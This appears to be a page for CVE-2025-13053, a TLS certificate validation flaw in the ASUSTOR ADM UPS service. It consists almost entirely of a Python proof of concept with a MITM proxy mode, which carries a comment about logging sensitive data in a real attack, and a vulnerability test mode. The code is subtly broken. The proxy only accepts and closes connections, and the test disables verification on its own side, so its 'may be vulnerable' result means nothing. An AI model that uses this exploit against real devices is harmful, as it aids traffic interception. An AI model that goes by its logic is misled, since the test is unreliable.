CVE-2025-13053: ASUSTOR ADM UPS服务TLS证书验证不足中间人攻击漏洞

#!/usr/bin/env python3 """ CVE-2025-13053 PoC - ASUSTOR ADM UPS TLS Certificate Verification Bypass Note: This PoC is for educational and authorized testing purposes only. Author: Security Researcher Reference: https://www.asustor.com/security/security_advisory_detail?id=49 """ import ssl import socket import argparse def create_mitm_proxy(listen_port, target_host, target_port): """ Create a simple MITM proxy to demonstrate the certificate validation bypass. In vulnerable versions, the UPS client accepts any certificate. """ print(f"[*] Starting MITM proxy on port {listen_port}") print(f"[*] Target: {target_host}:{target_port}") # Create socket context with self-signed certificate (normally rejected) context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False # Bypass hostname verification context.verify_mode = ssl.CERT_NONE # Bypass certificate verification server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_sock.bind(('0.0.0.0', listen_port)) server_sock.listen(5) print("[+] MITM proxy listening - vulnerable clients will connect without warning") print("[!] In affected ADM versions, UPS communication will proceed with self-signed cert") while True: client_sock, addr = server_sock.accept() print(f"[*] Connection from {addr}") # In real attack, forward traffic to target while logging sensitive data client_sock.close() def test_vulnerable_connection(target_host, target_port): """ Test if target ASUSTOR ADM is vulnerable by attempting connection with self-signed certificate (should fail in patched versions). """ context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE try: with socket.create_connection((target_host, target_port), timeout=10) as sock: with context.wrap_socket(sock, server_hostname=target_host) as ssock: cert = ssock.getpeercert() print(f"[+] Connected successfully to {target_host}:{target_port}") print(f"[*] Certificate: {cert}") print("[!] Connection succeeded - target may be vulnerable") return True except ssl.SSLCertVerificationError as e: print(f"[-] Certificate verification failed (expected for patched systems): {e}") return False except Exception as e: print(f"[-] Connection failed: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2025-13053 PoC") parser.add_argument("--mode", choices=["proxy", "test"], default="test") parser.add_argument("--target", default="ups-server.local", help="Target UPS server") parser.add_argument("--port", type=int, default=443, help="Target port") args = parser.parse_args() if args.mode == "proxy": create_mitm_proxy(8443, args.target, args.port) else: test_vulnerable_connection(args.target, args.port)